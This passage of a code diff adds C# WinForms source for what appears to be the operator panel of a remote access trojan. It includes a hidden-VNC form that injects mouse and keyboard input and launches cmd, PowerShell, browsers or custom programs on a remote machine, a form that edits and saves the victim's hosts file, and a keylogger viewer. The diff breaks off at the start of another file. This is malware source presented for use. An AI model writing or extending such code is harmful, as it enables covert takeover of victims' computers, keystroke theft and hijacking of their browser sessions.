{
if (materialSwitch1.Checked)
{
client.Send(new object[3]
{
"Capture",
true,
(byte)numericUpDown2.Value
});
}
else
{
client.Send(new object[2] { "Capture", false });
}
}
private void numericUpDown2_ValueChanged(object sender, EventArgs e)
{
if (materialSwitch1.Checked)
{
client.Send(new object[2]
{
"Quality",
(byte)numericUpDown2.Value
});
}
}
private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked)
{
Point point = new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
byte b = 0;
if (e.Button == MouseButtons.Left)
{
b = 2;
}
if (e.Button == MouseButtons.Right)
{
b = 8;
}
client.Send(new object[4] { "MouseClick", b, point.X, point.Y });
}
}
catch
{
}
}
private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked)
{
Point point = new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
byte b = 0;
if (e.Button == MouseButtons.Left)
{
b = 4;
}
if (e.Button == MouseButtons.Right)
{
b = 16;
}
client.Send(new object[4] { "MouseClick", b, point.X, point.Y });
}
}
catch
{
}
}
private void pictureBox1_MouseDoubleClick(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked)
{
Point point = new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
client.Send(new object[3] { "MouseDoubleClick", point.X, point.Y });
}
}
catch
{
}
}
private void pictureBox1_MouseWheel(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked)
{
if (e.Delta > 0)
{
client.Send(new object[2] { "MouseWheel", true });
}
else
{
client.Send(new object[2] { "MouseWheel", false });
}
}
}
catch
{
}
}
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
{
try
{
if (materialSwitch1.Checked)
{
Point point = new Point(e.X * screen.Width / pictureBox1.Width, e.Y * screen.Height / pictureBox1.Height);
if (Math.Abs(point.X - point2.X) >= 15 || Math.Abs(point.Y - point2.Y) >= 15)
{
point2 = point;
client.Send(new object[3] { "MouseMove", point.X, point.Y });
}
}
}
catch
{
}
}
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (materialSwitch1.Checked)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
if (!_keysPressed.Contains(e.KeyCode))
{
_keysPressed.Add(e.KeyCode);
client.Send(new object[3]
{
"KeyboardClick",
true,
(int)e.KeyCode
});
}
}
}
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (materialSwitch1.Checked)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
_keysPressed.Remove(e.KeyCode);
client.Send(new object[3]
{
"KeyboardClick",
false,
(int)e.KeyCode
});
}
}
private bool IsLockKey(Keys key)
{
if ((key & Keys.Capital) != Keys.Capital && (key & Keys.NumLock) != Keys.NumLock)
{
return (key & Keys.Scroll) == Keys.Scroll;
}
return true;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void cmdToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Cmd" }));
}
private void powerShellToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Powershell" }));
}
private void edgeToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Edge" }));
}
private void chromeToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Chrome" }));
}
private void braweToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Brave" }));
}
private void yandexToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Yandex" }));
}
private void firefoxToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[2] { "Run", "Firefox" }));
}
private void customToolStripMenuItem_Click(object sender, EventArgs e)
{
FormHVNCrun formHVNCrun = new FormHVNCrun();
formHVNCrun.ShowDialog();
if (formHVNCrun.Run)
{
client.Send(LEB128.Write(new object[3]
{
"RunCustom",
formHVNCrun.rjTextBox1.Texts,
formHVNCrun.rjTextBox2.Texts
}));
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormHVNC));
this.materialSwitch1 = new MaterialSkin.Controls.MaterialSwitch();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.runToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.cmdToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.powerShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.edgeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.chromeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.braweToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.yandexToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.firefoxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.customToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
this.contextMenuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).BeginInit();
this.panel1.SuspendLayout();
base.SuspendLayout();
this.materialSwitch1.AutoSize = true;
this.materialSwitch1.Depth = 0;
this.materialSwitch1.Enabled = false;
this.materialSwitch1.Location = new System.Drawing.Point(3, 64);
this.materialSwitch1.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch1.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch1.Name = "materialSwitch1";
this.materialSwitch1.Ripple = true;
this.materialSwitch1.Size = new System.Drawing.Size(92, 37);
this.materialSwitch1.TabIndex = 0;
this.materialSwitch1.Text = "Start";
this.materialSwitch1.UseVisualStyleBackColor = true;
this.materialSwitch1.CheckedChanged += new System.EventHandler(materialSwitch1_CheckedChanged);
this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.pictureBox1.Location = new System.Drawing.Point(6, 104);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(813, 427);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 4;
this.pictureBox1.TabStop = false;
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[1] { this.runToolStripMenuItem });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 48);
this.runToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[8] { this.cmdToolStripMenuItem, this.powerShellToolStripMenuItem, this.edgeToolStripMenuItem, this.chromeToolStripMenuItem, this.braweToolStripMenuItem, this.yandexToolStripMenuItem, this.firefoxToolStripMenuItem, this.customToolStripMenuItem });
this.runToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("runToolStripMenuItem.Image");
this.runToolStripMenuItem.Name = "runToolStripMenuItem";
this.runToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.runToolStripMenuItem.Text = "Run";
this.cmdToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("cmdToolStripMenuItem.Image");
this.cmdToolStripMenuItem.Name = "cmdToolStripMenuItem";
this.cmdToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.cmdToolStripMenuItem.Text = "Cmd";
this.cmdToolStripMenuItem.Click += new System.EventHandler(cmdToolStripMenuItem_Click);
this.powerShellToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("powerShellToolStripMenuItem.Image");
this.powerShellToolStripMenuItem.Name = "powerShellToolStripMenuItem";
this.powerShellToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.powerShellToolStripMenuItem.Text = "PowerShell";
this.powerShellToolStripMenuItem.Click += new System.EventHandler(powerShellToolStripMenuItem_Click);
this.edgeToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("edgeToolStripMenuItem.Image");
this.edgeToolStripMenuItem.Name = "edgeToolStripMenuItem";
this.edgeToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.edgeToolStripMenuItem.Text = "Edge";
this.edgeToolStripMenuItem.Click += new System.EventHandler(edgeToolStripMenuItem_Click);
this.chromeToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("chromeToolStripMenuItem.Image");
this.chromeToolStripMenuItem.Name = "chromeToolStripMenuItem";
this.chromeToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.chromeToolStripMenuItem.Text = "Chrome";
this.chromeToolStripMenuItem.Click += new System.EventHandler(chromeToolStripMenuItem_Click);
this.braweToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("braweToolStripMenuItem.Image");
this.braweToolStripMenuItem.Name = "braweToolStripMenuItem";
this.braweToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.braweToolStripMenuItem.Text = "Brave";
this.braweToolStripMenuItem.Click += new System.EventHandler(braweToolStripMenuItem_Click);
this.yandexToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("yandexToolStripMenuItem.Image");
this.yandexToolStripMenuItem.Name = "yandexToolStripMenuItem";
this.yandexToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.yandexToolStripMenuItem.Text = "Yandex";
this.yandexToolStripMenuItem.Click += new System.EventHandler(yandexToolStripMenuItem_Click);
this.firefoxToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("firefoxToolStripMenuItem.Image");
this.firefoxToolStripMenuItem.Name = "firefoxToolStripMenuItem";
this.firefoxToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.firefoxToolStripMenuItem.Text = "Firefox";
this.firefoxToolStripMenuItem.Click += new System.EventHandler(firefoxToolStripMenuItem_Click);
this.customToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("customToolStripMenuItem.Image");
this.customToolStripMenuItem.Name = "customToolStripMenuItem";
this.customToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.customToolStripMenuItem.Text = "Custom";
this.customToolStripMenuItem.Click += new System.EventHandler(customToolStripMenuItem_Click);
this.numericUpDown2.BackColor = System.Drawing.Color.White;
this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown2.Enabled = false;
this.numericUpDown2.ForeColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.numericUpDown2.Increment = new decimal(new int[4] { 10, 0, 0, 0 });
this.numericUpDown2.Location = new System.Drawing.Point(112, 73);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 19;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown2.Value = new decimal(new int[4] { 80, 0, 0, 0 });
this.numericUpDown2.ValueChanged += new System.EventHandler(numericUpDown2_ValueChanged);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(819, 470);
this.panel1.TabIndex = 20;
this.materialLabel1.AutoSize = true;
this.materialLabel1.ContextMenuStrip = this.contextMenuStrip1;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(161, 10);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(99, 19);
this.materialLabel1.TabIndex = 0;
this.materialLabel1.Text = "Context Menu";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(825, 537);
base.Controls.Add(this.numericUpDown2);
base.Controls.Add(this.pictureBox1);
base.Controls.Add(this.materialSwitch1);
base.Controls.Add(this.panel1);
base.DrawerUseColors = true;
base.Name = "FormHVNC";
this.Text = "HVNC";
base.Load += new System.EventHandler(FormDesktop_Load);
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
this.contextMenuStrip1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
base.ResumeLayout(false);
base.PerformLayout();
}
}
+154
View File
@@ -0,0 +1,154 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Helper;
namespace Server.Forms;
public class FormHVNCrun : FormMaterial
{
public bool Run;
private IContainer components;
private RJButton rjButton1;
private RJButton rjButton2;
public RJTextBox rjTextBox1;
public RJTextBox rjTextBox2;
public FormHVNCrun()
{
InitializeComponent();
}
private void FormHVNCrun_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton2.BackColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjTextBox2.BorderColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
Run = true;
}
private void rjButton2_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjTextBox2 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.rjButton2 = new CustomControls.RJControls.RJButton();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(47, 91);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "File Path";
this.rjTextBox1.Size = new System.Drawing.Size(250, 31);
this.rjTextBox1.TabIndex = 14;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjTextBox2.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox2.Location = new System.Drawing.Point(47, 130);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Args";
this.rjTextBox2.Size = new System.Drawing.Size(250, 31);
this.rjTextBox2.TabIndex = 15;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(233, 168);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(64, 31);
this.rjButton1.TabIndex = 16;
this.rjButton1.Text = "Run";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 0;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton2.ForeColor = System.Drawing.Color.White;
this.rjButton2.Location = new System.Drawing.Point(163, 168);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(64, 31);
this.rjButton2.TabIndex = 17;
this.rjButton2.Text = "Cancel";
this.rjButton2.TextColor = System.Drawing.Color.White;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(359, 220);
base.Controls.Add(this.rjButton2);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.rjTextBox2);
base.Controls.Add(this.rjTextBox1);
base.Name = "FormHVNCrun";
this.Text = "Custom Run";
base.Load += new System.EventHandler(FormHVNCrun_Load);
base.ResumeLayout(false);
}
}
+109
View File
@@ -0,0 +1,109 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormHostsFile : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public FormHostsFile()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
richTextBox1.KeyDown += RichTextBox1_KeyDown;
}
private void RichTextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.Control && e.KeyCode == Keys.S)
{
client.Send(new object[2] { "Save", richTextBox1.Text });
e.SuppressKeyPress = true;
}
}
private void ChangeScheme(object sender)
{
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(519, 451);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(525, 518);
base.Controls.Add(this.richTextBox1);
base.Name = "FormHostsFile";
this.Text = "Hosts File Edit";
base.Load += new System.EventHandler(FormProcess_Load);
base.ResumeLayout(false);
}
}
+148
View File
@@ -0,0 +1,148 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Helper;
namespace Server.Forms;
public class FormInput : FormMaterial
{
public bool Run;
private IContainer components;
private RJButton rjButton2;
private RJButton rjButton1;
public RJTextBox rjTextBox1;
public FormInput()
{
InitializeComponent();
}
private void FormInput_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
rjTextBox1.textBox1.KeyDown += rjTextBox1_KeyDown;
rjTextBox1.Focus();
}
private void rjTextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Return)
{
Run = true;
Close();
e.SuppressKeyPress = true;
}
if (e.KeyCode == Keys.Escape)
{
Close();
e.SuppressKeyPress = true;
}
}
private void ChangeScheme(object sender)
{
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton2.BackColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
Run = true;
Close();
}
private void rjButton2_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjButton2 = new CustomControls.RJControls.RJButton();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
base.SuspendLayout();
this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton2.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton2.BorderRadius = 0;
this.rjButton2.BorderSize = 0;
this.rjButton2.FlatAppearance.BorderSize = 0;
this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton2.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton2.ForeColor = System.Drawing.Color.White;
this.rjButton2.Location = new System.Drawing.Point(144, 136);
this.rjButton2.Name = "rjButton2";
this.rjButton2.Size = new System.Drawing.Size(64, 31);
this.rjButton2.TabIndex = 20;
this.rjButton2.Text = "Cancel";
this.rjButton2.TextColor = System.Drawing.Color.White;
this.rjButton2.UseVisualStyleBackColor = false;
this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(214, 136);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(64, 31);
this.rjButton1.TabIndex = 19;
this.rjButton1.Text = "Run";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.rjTextBox1.BackColor = System.Drawing.SystemColors.Window;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.HotPink;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.rjTextBox1.Location = new System.Drawing.Point(28, 86);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "";
this.rjTextBox1.Size = new System.Drawing.Size(250, 31);
this.rjTextBox1.TabIndex = 18;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(312, 187);
base.Controls.Add(this.rjButton2);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.rjTextBox1);
base.Name = "FormInput";
this.Text = "FormInput";
base.Load += new System.EventHandler(FormInput_Load);
base.ResumeLayout(false);
}
}
+100
View File
@@ -0,0 +1,100 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormKeyLogger : FormMaterial
{
public Clients client;
public Clients parrent;
private IContainer components;
private Timer timer1;
public RichTextBox richTextBox1;
public FormKeyLogger()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void ChangeScheme(object sender)
{
richTextBox1.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.White;
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Enabled = false;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.richTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.richTextBox1.Location = new System.Drawing.Point(3, 64);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(479, 451);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(485, 518);
base.Controls.Add(this.richTextBox1);
base.Name = "FormKeyLogger";
this.Text = "KeyLogger";
base.Load += new System.EventHandler(FormProcess_Load);
base.ResumeLayout(false);
}
}
+191
View File
@@ -0,0 +1,191 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
